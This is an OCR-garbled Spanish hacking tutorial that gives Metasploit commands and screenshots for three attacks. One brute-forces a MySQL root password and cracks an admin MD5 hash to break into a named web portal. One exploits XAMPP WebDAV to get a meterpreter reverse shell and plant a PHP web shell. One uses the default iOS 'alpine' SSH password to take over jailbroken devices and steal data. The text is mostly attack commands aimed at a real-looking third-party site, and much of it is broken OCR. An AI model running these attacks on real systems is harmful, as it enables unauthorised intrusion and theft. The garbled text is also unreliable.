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Hacking Mysql Server con OSX + 10S

Herramientas a utilizar :

Infraestructura : PC , Laptop
OS : Linux , Windows , OSX
WordList : .txt

Temas:
Hacking Mysql Servers con metasploit

Hacking XAMPP con metasploit
Brute Force al ssh de iPhone/ipad/ipodTouch
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PENETRANDO
TU MENTE

Escaneamos al objetivo :
HaxOr:/ m4ku4z$ sudo nmap -sS -sV -0 “ip_de_la_victima”

onuninix.con (64 54.94)

" COMUNTMT X, COMm

open
filter
open
open 7
open e h ((Ubuntu) PHP Wit atch mo
tcp open
tcp open
tcp open
tcp open htt tt 1n?u\ FHP/S5.2,4-2ubuntus. 3 with Suhosin-Patch mod_s
tcp open -
tcp  open
tcp open
'tcp open

Vemos que la version de mysql es :
3306/tcp open  mysql MySQL 5.0.51a-3ubuntu5.3
La cual es vulnerable al ataque realizaremos con metasploit.

Abrimos metasploit:

Warning: 15 copy of the Metasploit Framew
end that you update the f
For infor ion on updatin
https://community.rapid?.c

J exploi t/windows/http/ xampp_webdav_upload_php
ploit( set payload php/meterpreter/r
> php/meterpreter/ :
t Lhost 192.168.1.68

t RHOST 192.168.1.69
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A continuacion usaremos los siguientes comandos :

use scanner/mysql/mysql_login
set RHOSTS ‘victima'

set USERNAME root

set PASS_FILE “ruta_del_txt.tx”
run

El cual deberia de quedar asi :

set USERNAME root

FILE olun

HCKNG

PENETRANDO
MENTE

s/hax@r/Passwordlist/mysql. txt

Verificamos que todo este bien seteado mediante el comando “show options”:

msf  auxiliary(

ordlist/mysql. txt

msf auxiliary(
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Ejecutamos con “run” el exploit una vez que hayamos verificado que este todo
correcto :

mst auxiliary( ) * run

- Found remote MySQL version 5.0
- Trying username: 'root' with pz

Una vez terminado el escaneo obtendremos el password de root y procedemos a
conectar un cliente remoto a su base de datos . mediante un cliente remoto

Enter connection details below, or choose a fav.

Socket SSH |

Name: Comunimix
Host: comunimix.com
Username: comunimix_plus
Password: eeecccececes
Database: optional
Port: |3306

Connect using SSL

Connect
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M=25ATA
(MySQL 5.0.51a-3ubuntu5.3) Comunimix/comunimix_plus/usuarios

M [ pd B

| L

| Structure | Content Relations Triggers Table Info Query

Field Type Length Unsigned  Zerofill Binary Allow Null Key Default Extra

mail VARCHAR + 100 None

login VARCHAR 420 ) - None

clave VARCHAR + 40 - - None

nombre VARCHAR + 150 B - MUL None
idusuario INT + 10 ™~ PRI auto_increment

Revisamos el password de la aplicacidon que tienen en linea :

o h P H .

Structure ' Content | Relations Triggers Table Info Query

A e
v

4»
|

Search: @ mail

mail login clave
admin@comunimix.com admin 21232f297a57a5a743894a0e4a801fc3

Crackeamos con ayuda de google

Basqueda Iméagenes Correo Drive Calendar Sites Grupos YouTube Maés -~

Google  21232r07a57a5a74389420e428011c3 Q|
Web Imagenes Videos Mas ~ Herramientas de busqueda
Aproximadamente 38,700 resultados (0.17 segundos)

Sugerencia: Buscar solo resultados en espafol . Puedes especificar el idioma de
busqueda en Preferencias

21232f297a57a5a743894a0e4a801fc3 MDS5 at MD5rainbow.com
www.mdSrainbow.com/21232f297a57a5a74389... - Traducir esta pagina
21232f297a57a5a743894a0e4a801fc3 Decrypted MDS.

Google Hash: md5(admin) = 21232f297a57a5a743894a0e4a801fc3

www.nth-dimension.org.uk/utils/ghash.php?... - Traducir esta pagina
md5(admin) = 21232f297a57a5a743894a0e4a801fc3. Next >> - 000000 00000000 0007
007 007007 0246 0249 1 111 1022 10sne1 111111 121212 1225 123 ...
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MEATLOE

Crackeo del password :

MD5ra nbo

‘r21232f297a57a5a743894a0e4a801fc3“ | Reverse MD5 Hash | | Create MD5 Hash |

21232f297a57a5a743894a0e4a801fc3

admin

A
w http://www.MD5rainbow.com/21232f297a57a5a74389%94a0e4a801fc3

inresamos con las credenciales obtenidas :

Zomumninise

’\ El portal deda“comunicacidn.

Ingresa a tu cuenta

Tu Correo electrénico

|admin@comunimix.com |

Contrasefia

¢Has olvidado tu contrasefia?

omunminimse

'& El portal deda“comunicacién.

/Bt
@ CERRAR SESION
SAlA DE PRENSA
TU ESPACIO
PrimeraPlana |
Carera | IMAGEN 1
Columnas | FREN
| Filtrar por Sectores _Filtrar por Sectores  + |
[NuevoTalento |
Salas de Pmnsa
Porflles | )
(
[ UNITEC
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MEATLORE

Vulnerando XAMMP

Actualmente el servicio XAMPP, es usado por la mayoria de webmasters y
usuarios que se dedican a la Programacién Web son totalmente vulnerables y se
ha creado un modulo en metasploit que explota contrasefas débiles WebDAV en
los servidores XAMPP vy utiliza credenciales proporcionadas para subir una carga
util de PHP y ejecutarlo. El exploit se encuentra disponible desde You are not
allowed to view links. Register or Login y los pasos para aprovecharse de esta
vulnerabilidad, son los siguientes:

Escaneamos con nmap

nmap -sS -T4 —A “ip_victima”

80/tcp open http Apache httpd 2.2.14 ((win32) DAV/2 mod ssl/
enSSL/0.9.81 mod autoindex color PHP/5.3.1 mod apreq2-20090110/2.7.1 mo

0.4 Perl/v5.10.1)
http-title: XAMPP HoThet

Ejecutamos Metasploit :

nononon

Warning
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PENETRANDDO
_— U MEN
¢

Utilizamos los siguientes comandos para explotar la vulnerabilidad de XAMPP

use exploit/windows/http/xampp_webdav_upload_php
set payload php/meterpreter/reverse_tcp

set Lhost 192.168.1.xxx (Nuestra IP)

set RHOST 192.168.1.xxx (IP Victima)

exploit

nun unn

Warning: This copy of
We r

For
xampp_webday load_php
] set payload php/meterpreter/reverse_tcp
> set Lhost 192.1658.1.68
> set RHOST 192.165.1.69
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PENETRANDO
MENTE

Revisamos que todo este bien seteado y listo para ser ejecutado , mediante el
comando show options:

msf exploi t( ) * show options
Module options (exploit/windows/http/xampp_webdav_upload_php):
Name Curre tting Required D ription
FILENu 1E N0 -" file t the oad. eave Blank for Random)

Xampp
fwebdav/

Name

Léa;T i;j‘lﬁu. .63 y e %ée 11;;9;-3

LFORT 4444 The listen
Exploit target:

Id HName

é- ;;;;matwc

msf exploit(

Explotamos la vulnerabilidad
Mediante el Comando “exploit”

Si todo se realizo correctamente, recibiremos la sesion meterpreter gracias al
payload que metasploit subio al servicio XAMPP vulnerable.

> exploit

69:1094) at Sat Apr 13 19:09:12 -0500 2013

meterpreter >
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L PENETRANDO
=S T [ B
Subimos una Shell PHP mediante el comando upload , este comando mantiene
esta estructura :

upload [options] [Ubicacion Archivo Local] [Ubicacion Archivo Remoto]
Ejemplo real :

Revisamos donde estamos posicionados dentro de la ramificacidon de carpetas
mediante el comando pwd .

Sabemos que Xampp guarda los archivos en la carpeta “htdocs” la subimos con
upload.

meterpreter > pwd
pph\webda

> ypload /VYolumes/Datos/Sites/hm.php E:%xampp%%htUDCEI

*Verifico que efectivamente no existe dicho archivo en la maquina comprometida.

SRR ETR NIRRT L=lEL;
Archivo Editar Yer Historial Marcadores Herramientas Ayuda
[Exampp 1.7.3 I + |
€& [E rocahostixan =10 x| S ‘ H
~—— | Archivo Edicibn Ver Favoritos Herramientas Ayuda ‘ |',' —

Q Atrds q _) v ? ‘ / Busqueda Carpetas ‘ » X x n ‘ [E]-

Direccién I_) C:\xamppihtdocs j a r

> index.php
xampp -E Archivo PHP
// 1KB
Englis HREE
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Ejecutamos :

meterpreter > upload /Volumes/Datos/Sites/hm.php C:\xampp\\htdocs
[*] uploading :/Volumes/Datos/Sites/hm.php -> C:xampp\htdocs

[*] uploaded :/Volumes/Datos/Sites/hm.php -> C:xampp\htdocs\hm.php
meterpreter >

Validamos que xampp esta corriendo :

(SN NG) XAMPP 1.7.3
(<> ][22 192.168.1.69
&3 [0 #E mdkkudz ¥ Tools ¥ Pornos ¥

XAMPP

English / Deutsch / Francais / Nederlands / Polski / Slovene / Italiano / Norsk / Espaiiol / ©33Z / Portugués / Portugués (Brasil) / BH&EZE

Revisamos la Shell :

(0]
@

O € WebShell
<> | |2 O 192.168.1.69

[1] 2 makkudz v Tools ¥ Pornos ¥

g

Mexican WebShell PHP

Submit
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Brute Force al SSH de 10S con Jailbreak

Comandos a Utilizar :

msf > use exploit/apple ios/ssh/cydia default ssh
msf exploit(cydia default ssh) > show payloads
msf exploit(cydia default ssh) > set PAYLOAD
generic/shell reverse tcp

msf exploit(cydia default ssh) > set LHOST [MY IP
ADDRESS]

msf exploit(cydia default ssh) > set RHOST [TARGET
IP]

msf exploit(cydia default ssh) > exploit

Abrimos el Metasploit :

s last updated

you update the fr E ast eve
For information on updating 0
https://communi ty.rapid?.com/do

e exploit/windows/http/xampp_we v_upload_php

01 t( ) set_payload php/meterpreter/reverse_tcp
> php/meterpreter/reverse

» set RHOST 192.168.1.69
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Seteamos los parametros segun las direcciones ips que tengamos asignadas:

Compatible

Name is 5L Description

é&é;un1ﬁ51nteract ] nhormal &nir E;@ma;d, Interact with Established Connection
» set PAYLOAD generic/shell_reverse_tcp
.S;t LHOST 192.168.0.107

> set RHOST 192.168.0,106

msT exploift( ) * show options
Module options (exploitf/apple_io: shicydia_default_ssh):

Name Setting Description
RHOST
RPORT

Name
LHOST 192.168.0.107
LFORT 4444

Exploit target:

Id MName
1] Lpple 0S5
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PENETRANDO
MENTE

Ejecutamos el exploit mediante el comando “exploit”:

exploit(

word 'alpine’
‘root:alpine

exploit(

Como podemos observar la contrasefa es “alpine”

Ahora simplemente desde otra terminal podemos acceder por ssh al dispositivo y
robar informacion , incluso reiniciarlo.

to f‘}n—‘ list of known hosts

00
rllllfx [r—‘tnlllfl
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